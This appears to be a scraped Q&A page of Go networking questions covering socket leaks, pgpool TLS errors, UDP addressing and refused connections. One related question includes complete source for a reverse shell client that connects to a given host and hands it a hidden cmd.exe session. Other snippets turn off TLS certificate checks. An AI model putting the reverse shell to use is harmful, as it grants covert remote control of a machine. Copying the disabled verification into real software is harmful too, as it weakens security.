Socket can't identify protocol (socket leak) - sockets

I have a Go1.5.1 process/app. When I run /usr/sbin/lsof -p on that process, I see a lot of "can't identify protocol".
monitor_ 13105 root 101u sock 0,6 0t0 16960100 can't identify protocol
monitor_ 13105 root 102u sock 0,6 0t0 21552427 can't identify protocol
monitor_ 13105 root 103u sock 0,6 0t0 17565091 can't identify protocol
monitor_ 13105 root 104u sock 0,6 0t0 18476870 can't identify protocol
proc status/limit/fd
[root#Monitor_q ~]# cat /proc/13105/status
Name: monitor_client
State: S (sleeping)
Tgid: 13105
Pid: 13105
PPid: 13104
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0
Utrace: 0
FDSize: 16384
Groups:
...
[root#Monitor_q ~]# cat /proc/13105/limits
Limit Soft Limit Hard Limit Units
Max cpu time unlimited unlimited seconds
Max file size unlimited unlimited bytes
Max data size unlimited unlimited bytes
Max stack size 10485760 unlimited bytes
Max core file size 0 unlimited bytes
Max resident set unlimited unlimited bytes
Max processes 3870 3870 processes
Max open files 9999 9999 files
Max locked memory 65536 65536 bytes
Max address space unlimited unlimited bytes
Max file locks unlimited unlimited locks
Max pending signals 3870 3870 signals
Max msgqueue size 819200 819200 bytes
Max nice priority 0 0
Max realtime priority 0 0
Max realtime timeout unlimited unlimited us
[root#Monitor_q ~]# ll /proc/13105/fd/
lrwx------ 1 root root 64 Dec 7 00:15 8382 -> socket:[52023221]
lrwx------ 1 root root 64 Dec 7 00:15 8383 -> socket:[51186627]
lrwx------ 1 root root 64 Dec 7 00:15 8384 -> socket:[51864232]
lrwx------ 1 root root 64 Dec 7 00:15 8385 -> socket:[52435453]
lrwx------ 1 root root 64 Dec 7 00:15 8386 -> socket:[51596071]
lrwx------ 1 root root 64 Dec 7 00:15 8387 -> socket:[52767667]
lrwx------ 1 root root 64 Dec 7 00:15 8388 -> socket:[52090632]
lrwx------ 1 root root 64 Dec 7 00:15 8389 -> socket:[51739068]
lrwx------ 1 root root 64 Dec 7 00:15 839 -> socket:[22963529]
lrwx------ 1 root root 64 Dec 7 00:15 8390 -> socket:[52023223]
lrwx------ 1 root root 64 Dec 7 00:15 8391 -> socket:[52560389]
lrwx------ 1 root root 64 Dec 7 00:15 8392 -> socket:[52402565]
...
but there is no similar output in netstat -a.
What are these sockets and how can I find out what they do?
monitor_client.go
package main
import (
"crypto/tls"
"encoding/json"
"fmt"
"log"
"net"
"net/http"
nurl "net/url"
"strconv"
"strings"
"syscall"
"time"
)
type Result struct {
Error string `json:"error"`
HttpStatus int `json:"http_status"`
Stime time.Duration `json:"http_time"`
}
//http://stackoverflow.com/questions/20990332/golang-http-timeout-and-goroutines-accumulation
//http://3.3.3.3/http?host=3.2.4.2&servername=a.test&path=/&port=33&timeout=5&scheme=http
func MonitorHttp(w http.ResponseWriter, r *http.Request) {
var host, servername, path, port, scheme string
var timeout int
u, err := nurl.Parse(r.RequestURI)
if err != nil {
log.Fatal(err)
return
}
if host = u.Query().Get("host"); host == "" {
host = "127.0.0.0"
}
if servername = u.Query().Get("servername"); servername == "" {
servername = "localhost"
}
if path = u.Query().Get("path"); path == "" {
path = "/"
}
if port = u.Query().Get("port"); port == "" {
port = "80"
}
if scheme = u.Query().Get("scheme"); scheme == "" {
scheme = "http"
}
if timeout, _ = strconv.Atoi(u.Query().Get("timeout")); timeout == 0 {
timeout = 5
}
//log.Printf("(host)=%s (servername)=%s (path)=%s (port)=%s (timeout)=%d", host, servername, path, port, timeout)
w.Header().Set("Content-Type", "application/json")
res := httptool(host, port, servername, scheme, path, timeout)
result, _ := json.Marshal(res)
fmt.Fprintf(w, "%s", result)
}
func httptool(ip, port, servername, scheme, path string, timeout int) Result {
var result Result
startTime := time.Now()
host := ip + ":" + port
transport := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
DisableKeepAlives: true,
}
dialer := net.Dialer{
Timeout: time.Duration(timeout) * time.Second,
KeepAlive: 0 * time.Second,
}
transport.Dial = func(network, address string) (net.Conn, error) {
return dialer.Dial(network, address)
}
client := &http.Client{
Transport: transport,
}
rawquery := ""
url := fmt.Sprintf("%s://%s%s%s", scheme, host, path, rawquery)
req, err := http.NewRequest("GET", url, nil)
if err != nil {
result.HttpStatus = -1
errs := strings.Split(err.Error(), ": ")
result.Error = errs[len(errs)-1]
result.Stime = time.Now().Sub(startTime) / time.Millisecond
return result
}
req.Header.Set("User-Agent", "monitor worker")
req.Header.Set("Connection", "close")
req.Host = servername
resp, err := client.Do(req)
//https://github.com/Basiclytics/neverdown/blob/master/check.go
if err != nil {
nerr, ok := err.(*nurl.Error)
if ok {
switch cerr := nerr.Err.(type) {
case *net.OpError:
switch cerr.Err.(type) {
case *net.DNSError:
errs := strings.Split(cerr.Error(), ": ")
result.Error = "dns: " + errs[len(errs)-1]
default:
errs := strings.Split(cerr.Error(), ": ")
result.Error = "server: " + errs[len(errs)-1]
}
default:
switch nerr.Err.Error() {
case "net/http: request canceled while waiting for connection":
errs := strings.Split(cerr.Error(), ": ")
result.Error = "timeout: " + errs[len(errs)-1]
default:
errs := strings.Split(cerr.Error(), ": ")
result.Error = "unknown: " + errs[len(errs)-1]
}
}
} else {
result.Error = "unknown: " + err.Error()
}
result.HttpStatus = -2
result.Stime = time.Now().Sub(startTime) / time.Millisecond
return result
}
resp.Body.Close()
result.HttpStatus = resp.StatusCode
result.Error = "noerror"
result.Stime = time.Now().Sub(startTime) / time.Millisecond //spend time (ms)
return result
}
func setRlimit() {
var rLimit syscall.Rlimit
err := syscall.Getrlimit(syscall.RLIMIT_NOFILE, &rLimit)
if err != nil {
log.Printf("Unable to obtain rLimit", err)
}
if rLimit.Cur < rLimit.Max {
rLimit.Max = 9999
rLimit.Cur = 9999
err = syscall.Setrlimit(syscall.RLIMIT_NOFILE, &rLimit)
if err != nil {
log.Printf("Unable to increase number of open files limit", err)
}
}
}
func main() {
setRlimit()
s := &http.Server{
Addr: ":59059",
ReadTimeout: 7 * time.Second,
WriteTimeout: 7 * time.Second,
}
http.HandleFunc("/http", MonitorHttp)
log.Fatal(s.ListenAndServe())
}

There are couple of points here.
I was unable to reproduce your behavior, anyway, can't identify protocol is usually tied to sockets not being properly closed.
Some commenters suggested you don't have to create http client inside each handler - that's true. Simply create it once and reuse.
Second, I'm not sure why are you creating your own http.Client struct and why you're disabling keepalives. Can't you just go with http.Get ? Simpler code is easier to debug.
Third, not sure why are you overwriting transport.Dial function. Even if you must do it, the documentation (for Go 1.9.2) says:
% go doc http.transport.dial
type Transport struct {
// Dial specifies the dial function for creating unencrypted TCP
connections.
//
// Deprecated: Use DialContext instead, which allows the transport
// to cancel dials as soon as they are no longer needed.
// If both are set, DialContext takes priority.
Dial func(network, addr string) (net.Conn, error)
That comment about deprecation and lack of dials reuse may point to the source of your problems.
To sum up, when in your shoes, I'd do two things:
move client creation to the code which executes once, or just use default client with http.Get
I'd clean up this thing with overwriting default transport fields, if you must do it then I'd use DialContext as suggested.
Good luck.

I couldn't reproduce the issue. But here are my 2 cents (no pun intended)
Simmilar issue was found in SockJS-node noticed in an article https://idea.popcount.org/2012-12-09-lsof-cant-identify-protocol/ according to this issue was observed on FreeBSD. But the issue was "websockets are not bieng properly cleaned up"
Another test test I would like ou to do if you still have hands on same environment. If possible post wireshark logs. just to confirm there are not subtle things in network frames which may have caused this.
I am sorry I cann't install Go 1.5.1 just to reproduce this issue.
Hope this was helpful.

Related

Pgpool problem with TLS, certificate verify failed

I have a pod running a PgPool image and a Postgresql cluster with writer and read-only instance. I am using PgPool just for loadbalancing read and write queries and have a single endpoint.
This all setup is working great, however when I try to setup TLS it does not work.
This what I have done:
Create a CA:
template := x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{
CommonName: "*",
},
NotBefore: time.Now(),
NotAfter: time.Now().Add(time.Hour * 24 * 180),
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth},
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
BasicConstraintsValid: true,
IsCA: true,
}
caCertBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &caPrivateKey.PublicKey, caPrivateKey)
if err != nil {
return certResp{}, fmt.Errorf("could not generate ca certificate: %v", err)
}
caPEM := new(bytes.Buffer)
if err := pem.Encode(caPEM, &pem.Block{
Type: "CERTIFICATE",
Bytes: caCertBytes,
}); err != nil {
return certResp{}, fmt.Errorf("could not encode ca certificate: %v", err)
}
caPrivateKeyPEM := new(bytes.Buffer)
if err := pem.Encode(caPrivateKeyPEM, &pem.Block{
Type: "RSA PRIVATE KEY",
Bytes: x509.MarshalPKCS1PrivateKey(caPrivateKey),
}); err != nil {
return certResp{}, fmt.Errorf("could not encode ca key: %v", err)
}
Create server and key using the CA template and CA private key generated above:
template := x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{
CommonName: "*",
},
NotBefore: time.Now(),
NotAfter: time.Now().Add(time.Hour * 24 * 180),
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth},
KeyUsage: x509.KeyUsageDigitalSignature,
}
privateKey, err := rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
return certResp{}, err
}
certBytes, err := x509.CreateCertificate(rand.Reader, &template, &caCertTemplate, &privateKey.PublicKey, caPrivateKey)
if err != nil {
return certResp{}, err
}
certPEM := new(bytes.Buffer)
if err := pem.Encode(certPEM, &pem.Block{
Type: "CERTIFICATE",
Bytes: certBytes,
}); err != nil {
return certResp{}, err
}
certPrivateKeyPEM := new(bytes.Buffer)
if err := pem.Encode(certPrivateKeyPEM, &pem.Block{
Type: "RSA PRIVATE KEY",
Bytes: x509.MarshalPKCS1PrivateKey(privateKey),
}); err != nil {
return certResp{}, err
}
Update pgpool.conf ( using master slave mode)
ssl=on
ssl_key = '/tls/server.key'
ssl_cert = '/tls/server.crt'
Updated postgresql.conf
ssl_key = '/tls/server.key'
ssl_cert = '/tls/server.crt'
ssl_ca_cert = '/tls/root.crt'
If I set those in postgresql and try to connect to the instance directly it will work:
psql "sslmode=verify-ca sslrootcert=root.crt host=localhost user=postgres port=5432"
psql (14.2 (Ubuntu 14.2-1.pgdg20.04+1), server 13.4 (Ubuntu 13.4-4.pgdg18.04+1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
However if I try connecting via pgpool it does not and I get this error:
psql: error: connection to server at "localhost" (::1), port 5432 failed: ERROR: backend authentication failed
DETAIL: backend response with kind '' when expecting 'R'
And from the pgpool logs:
2022-04-07 06:06:28: pid 51: LOG: pool_ssl: "SSL_connect": "certificate verify failed"
2022-04-07 06:06:28: pid 51: LOG: pool_ssl: "SSL_connect": "certificate verify failed"
2022-04-07 06:06:28: pid 51: ERROR: backend authentication failed
2022-04-07 06:06:28: pid 51: DETAIL: backend response with kind '' when expecting 'R'
This is my pgpool config:
listen_addresses = '*'
port = 5432
socket_dir = '/var/run/pgpool'
pcp_listen_addresses = '*'
pcp_port = 9898
pcp_socket_dir = '/var/run/pgpool'
backend_hostname0 = '%v'
backend_port0 = 5432
backend_weight0 = 1
backend_flag0 = 'ALWAYS_PRIMARY|DISALLOW_TO_FAILOVER'
backend_hostname1 = '%v'
backend_port1 = 5432
backend_weight1 = 1
backend_flag1 = 'DISALLOW_TO_FAILOVER'
sr_check_period = 0
enable_pool_hba = off
backend_clustering_mode = 'streaming_replication'
num_init_children = 32
max_pool = 4
child_life_time = 300
child_max_connections = 0
connection_life_time = 0
client_idle_limit = 0
connection_cache = on
load_balance_mode = on
ssl = on
ssl_key = '/tls/server.key'
ssl_cert = '/tls/server.crt'
ssl_ca_cert = '/tls/root.crt'
failover_on_backend_error = off
allow_clear_text_frontend_auth = true
Seems there is something wrong with pgpool, but I am quite sure I am doing something wrong? Thanks

Golang creating simple reverse shell, synchronization and encoding problem

I'm learning basics of golang and thought about creating simple reverse shell, something to mimic for example nc <ip> <port> -e cmd.exe. It is working somewhat but I want it to work better for example there is little encoding problem
This is output from my program some spaces and special characters like ążłć and so on and forth, and as you can see there is one line Directory of D:\Projects\gorevshell that should be third from top but is in the middle.
D:\Projects\gorevshell>dir
dir
Volume in drive D is DATA
Volume Serial Number is FA46-C237
02.05.2021 13:57 <DIR> .
02.05.2021 13:57 <DIR> ..
02.05.2021 09:56 289 .gitignore
01.05.2021 21:56 <DIR> .vscode
02.05.2021 13:18 3�089�920 client.exe
Directory of D:\Projects\gorevshell
02.05.2021 13:18 1�090 client.go
02.05.2021 13:57 2�877�440 main.exe
02.05.2021 13:56 883 main.go
02.05.2021 10:14 884 main.go.old
01.05.2021 21:25 12 README.md
3 Dir(s) 61�482�332�160 bytes free
7 File(s) 5�970�518 bytes
Or when executing powershell there is one trailing new line character
D:\Projects\gorevshell>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS D:\Projects\gorevshell> ls
ls
Directory: D:\Projects\gorevshell
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 01.05.2021 21:56 .vscode
-a---- 02.05.2021 09:56 289 .gitignore
-a---- 02.05.2021 13:18 3089920 client.exe
-a---- 02.05.2021 13:18 1090 client.go
-a---- 02.05.2021 13:57 2877440 main.exe
-a---- 02.05.2021 13:56 883 main.go
-a---- 02.05.2021 10:14 884 main.go.old
-a---- 01.05.2021 21:25 12 README.md
PS D:\Projects\gorevshell>
I think this line out of sync could be caused by the two gorutines that copy from pipe to stdout. But for the encoding problem I have no idea. The out of sync lines are quite random, but encoding errors are constant. How do I get rid of encoding problems and sync all the data? And all other tips are welcome. Thanks.
Server source code
package main
import (
"bufio"
"flag"
"fmt"
"io"
"log"
"net"
"os"
)
func main() {
//Flags
portPtr := flag.Int("p", 2137, "Listening port")
listenPtr := flag.Bool("l", false, "Server mode")
flag.Parse()
log.Printf("portPtr %d, listenPtr %t", *portPtr, *listenPtr)
//Start listenign on all on portPtr
conn, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", *portPtr))
if err != nil {
log.Fatal("Cannot bind to port")
}
//Accept incoming connection
listener, err := conn.Accept()
if err != nil {
log.Fatal("Cannot accept connection")
}
//Print connections address and port
log.Printf("Connection from: %s", listener.RemoteAddr().String())
shellPipeReader, shellPipeWriter := io.Pipe()
for {
//Copy data from listener(client, shell provider) to stdout gorutine to don't block code execution
go io.Copy(shellPipeWriter, listener)
go io.Copy(os.Stdout, shellPipeReader)
//get user input aka commands to execute
reader := bufio.NewReader(os.Stdin)
text, err := reader.ReadString('\n')
if err != nil {
log.Fatal("Cannot send message")
}
//send commands to listener(client, shell provider)
listener.Write([]byte(text))
}
}
Client source code
package main
import (
"flag"
"fmt"
"io"
"log"
"net"
"os/exec"
"syscall"
)
//function returns pointer to exec.Cmd object that is cmd shell
func Shell() *exec.Cmd {
cmd := exec.Command("C:\\Windows\\System32\\cmd.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
return cmd
}
func main() {
//parse arguments
flag.Parse()
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%s", flag.Arg(0), flag.Arg(1)))
if err != nil {
log.Fatal("Cannot connect to the server")
}
//calling shell
shellCmd := Shell()
//creating pipes not mess up with buffering too much
shellPipeReader, shellPipeWriter := io.Pipe()
//standard in is binded to connection
shellCmd.Stdin = conn
//standard err and standard out are binded to writer pipe
shellCmd.Stdout = shellPipeWriter
shellCmd.Stderr = shellPipeWriter
//sending the output from shellPipeReader to connection, using gorutine to not block code execution
go io.Copy(conn, shellPipeReader)
//run the command
shellCmd.Run()
//Close connection after shell is dead
conn.Close()
}

How can I get a client's remote (targeted) addr from server side, while server listening on udp:0.0.0.0:port?

What version of Go are you using (go version)?
go version go1.9.2 linux/amd64
What did you do?
Server side, listening on udp ":11110" and print client's src ip and remote ip:
ServerAddr,err := net.ResolveUDPAddr("udp",":11110")
ServerConn, err := net.ListenUDP("udp", ServerAddr)
n,addr,err := ServerConn.ReadFromUDP(buf)
fmt.Println("Received ",string(buf[0:n]), " from ",addr, " to ", ServerConn.LocalAddr())
Client side, two clients send udp to "10.16.83.185:11110" and "127.0.0.1:11110" respectively:
ServerAddr1,err := net.ResolveUDPAddr("udp", "10.16.83.185:11110")
Conn1, err := net.DialUDP("udp", nil, ServerAddr1)
_,err := Conn1.Write(buf)
ServerAddr2,err := net.ResolveUDPAddr("udp", "127.0.0.1:11110")
Conn2, err := net.DialUDP("udp", nil, ServerAddr2)
_,err := Conn2.Write(buf)
What did you expect to see?
Received 1 from 10.16.83.185:51386 to 10.16.83.185:11110
Received 1 from 127.0.0.1:58306 to 127.0.0.1:11110
What did you see instead?
Received 1 from 10.16.83.185:51386 to 0.0.0.0:11110
Received 1 from 127.0.0.1:58306 to 0.0.0.0:11110
It seems net: UDPConn.LocalAddr() would always return "0.0.0.0:11110" instead of "10.16.83.185:11110" or "127.0.0.1:11110".
So is there any way i can achieve the "expect" result?

Intermittent error getsockopt: connection refused error on Http Post

There are two go apps, one is stapi listening on port 8050 and providing RESTful APIs, another is client to consume those APIs.
Both are running on different servers, client is often getting error when calling APIs with HTTP POST method. Below are few lines from client log (real IP replaced with imaginary one)
2018/02/17 11:42:58 ERROR: [DoLogin] API Error: [Post https://123.123.123.123:8050/v1/st/verifyuser: dial tcp 123.123.123.123:8050: getsockopt: connection refused]
2018/02/17 11:47:14 ERROR: [CreateAttempt] Error: [Post https://123.123.123.123:8050/v1/userattempts/createattempt: dial tcp 123.123.123.123:8050: getsockopt: connection refused]
It is intermittent and making the app unreliable, out of approx 1k request i got such error for approx 50+ request.
Initially stapi was listening on all IPs
httpSrv := http.Server{
Addr: ":8050",
Handler: router, // < gin router
...
}
But after reading the workaroung in Golang HTTP Post error: connection refused i modified the stapi app and make it listening on different IPs, as shown below
$ sudo lsof -i -P -n | grep LISTEN
stapi 4775 samtech 10u IPv4 2388179 0t0 TCP 123.123.123.123:8050 (LISTEN)
stapi 4775 samtech 11u IPv6 2388181 0t0 TCP [::1]:8050 (LISTEN)
stapi 4775 samtech 12u IPv4 2388183 0t0 TCP 127.0.0.1:8050 (LISTEN)
But still the issue is same, what else i should check and fix ? Please suggest.
API is protected with JWT, here is how client is making POST requests
func (w *OST) DoLogin(c *gin.Context) {
...
ud := stapimodels.UserLogin{}
err := c.BindJSON(&ud)
...
//call api to save user response
url := config.AppConfig.APIBaseURL + "st/verifyuser"
res, err := api.JwtApi.APIPost(url, &ud)
if err != nil {
g.Logger.Errorm("DoLogin", "Error: %v", err)
t.Error("Error", err.Error())
return
}
...
}
//APIPost - call given apiurl with POST method and pass data
func (j *JwtAPI) APIPost(apiurl string, postdata interface{}) (*APIResult, error) {
if postdata == nil {
return nil, fmt.Errorf("postdata is nil")
}
jsondata, err := toJSON(postdata)
if err != nil {
return nil, err
}
resp, err := j.makeRequest(http.MethodPost, apiurl, jsondata)
if err != nil {
return nil, err
}
defer resp.Body.Close()
res := APIResult{}
json.NewDecoder(resp.Body).Decode(&res)
return &res, nil
}
//makeRequest makes http request for given url with given method
// also inject Authorization Header
func (j *JwtAPI) makeRequest(method, apiurl string, body io.Reader) (*http.Response, error) {
retry := 0
//Create []byte buffer from body - so it can be passed in further retries
var buf []byte
if body != nil {
buf, _ = ioutil.ReadAll(body)
}
r, err := http.NewRequest(method, apiurl, bytes.NewReader(buf))
if err != nil {
return nil, err
}
r.Header.Set("Authorization", "bearer "+j.token.AccessToken)
r.Header.Set("Content-Type", "application/json")
client := j.getClient()
resp, err := client.Do(r)
if err != nil {
return nil, err
}
return resp, nil
}
func (j *JwtAPI) getClient() *http.Client {
// default timeout (if not set by client)
timeoutInSec := 10
if j.Timeout.Seconds() > 0 {
// client sets timeout, so use it
timeoutInSec = int(j.Timeout.Seconds())
}
client := &http.Client{
Timeout: time.Second * time.Duration(timeoutInSec),
}
return client
}
To make your code more resilient you should add some retries with back-offs, so even when the connection was refused it is still working.
Connection refused means that the port is not opened. Is there any firewall or proxies in between? The authentication part shouldn't matter here because it doesn't even get to this point.
Some things that you can check:
Make sure the service is running
Check for firewall configuration
Implement retries for resilience
Is the IP-Address fixed? Is Dynamic DNS used and maybe not updated?
Package for back-off retrying
As for implementing the back-off you might try this package:
https://github.com/cenkalti/backoff
It is listing examples on how to use it and it's pretty much exactly what you need:
// An operation that may fail.
operation := func() error {
// do the request here and check the response code (or check the response body depending on your need) . e.g. above 500 should retry, above 400 and below 500, it should be a client side error and retrying might not help much
return nil // or an error
}
err := Retry(operation, NewExponentialBackOff())
if err != nil {
// Handle error.
return
}
// Operation is successful.

socket programming, getting getsockopt: connection refused

I'm having trouble with socket programming.
I have a program that reads from localhost:7777 and writes to localhost:8000.
I use netcat from the command line to write and read to 7777 and 8000 respectively.
This is the reader:
netcat -l -p 8000
And this is the writer:
printf "asti||" | netcat localhost 7777
But my program gets network errors when it tries to write to port 8000 for the second
time. The error is Fatal error: dial tcp 127.0.0.1:8000: getsockopt: connection refused.
What's happening? Why on the second write the error appears?
Furthermore, I noticed that if I kill the netcat reader and restart it then there's no network errors. So to reiterate, the program writes once to 8000 and netcat reads it. Then I kill netcat reader and restart it. At this point the program can write again to 8000. But if the program tries to write two successive times to 8000 without me restarting netcat, then the error appears.
Here is the entire program (it's short). If you like, you experience this mystical behaviour yourself:
package main
import (
"fmt"
"net"
"os"
"strings"
// "io/ioutil"
)
func main() {
end_of_message_terminator := "||"
beginning_of_next_message := ""
request := make([]byte, 512)
service_port := ":7777"
tcpAddr, err := net.ResolveTCPAddr("tcp4", service_port)
checkError(err)
listener, err := net.ListenTCP("tcp", tcpAddr)
checkError(err)
for {
conn, err := listener.Accept()
if err != nil {
continue
}
read_len, err := conn.Read(request)
if read_len == 0 {
continue
}
request_string := string(request[:read_len])
fmt.Printf("Request String %s\\END", request_string)
messages := strings.Split(request_string, end_of_message_terminator)
fmt.Printf("%q\n", messages)
messages[0] = beginning_of_next_message + messages[0]
if messages[len(messages) - 1] != "" {
beginning_of_next_message = messages[len(messages) - 1]
messages[len(messages) - 1] = ""
fmt.Printf("was here 00\n")
}
if len(messages) == 1 {
continue
}
for i := range messages {
go func(){
fmt.Printf("was here 04\n")
respond_to_message(messages[i])
}()
fmt.Printf("was here 01\n")
}
conn.Close()
}
}
func respond_to_message(message string){
message_parameters := strings.Split(message, "|")
response_port := "localhost:8000"
tcpAddr_res, err := net.ResolveTCPAddr("tcp4", response_port)
checkError(err)
response_writer, err := net.DialTCP("tcp", nil, tcpAddr_res)
for i := range message_parameters {
fmt.Printf("was here03\n")
param_parts := strings.Split(message_parameters[i], "=")
fmt.Printf("message: %s\n", message)
fmt.Printf("message_parameters%q\n", message_parameters)
fmt.Printf("params_parts: %q\n", param_parts)
//param_name := param_parts[0]
//param_value := param_parts[1]
checkError(err)
response_writer.Write([]byte("asti de crhis"))
checkError(err)
//result, err := ioutil.ReadAll(response_writer)
//checkError(err)
//fmt.Println(string(result))
}
//response_writer.Close()
}
func checkError(err error) {
if err != nil {
fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
os.Exit(1)
}
}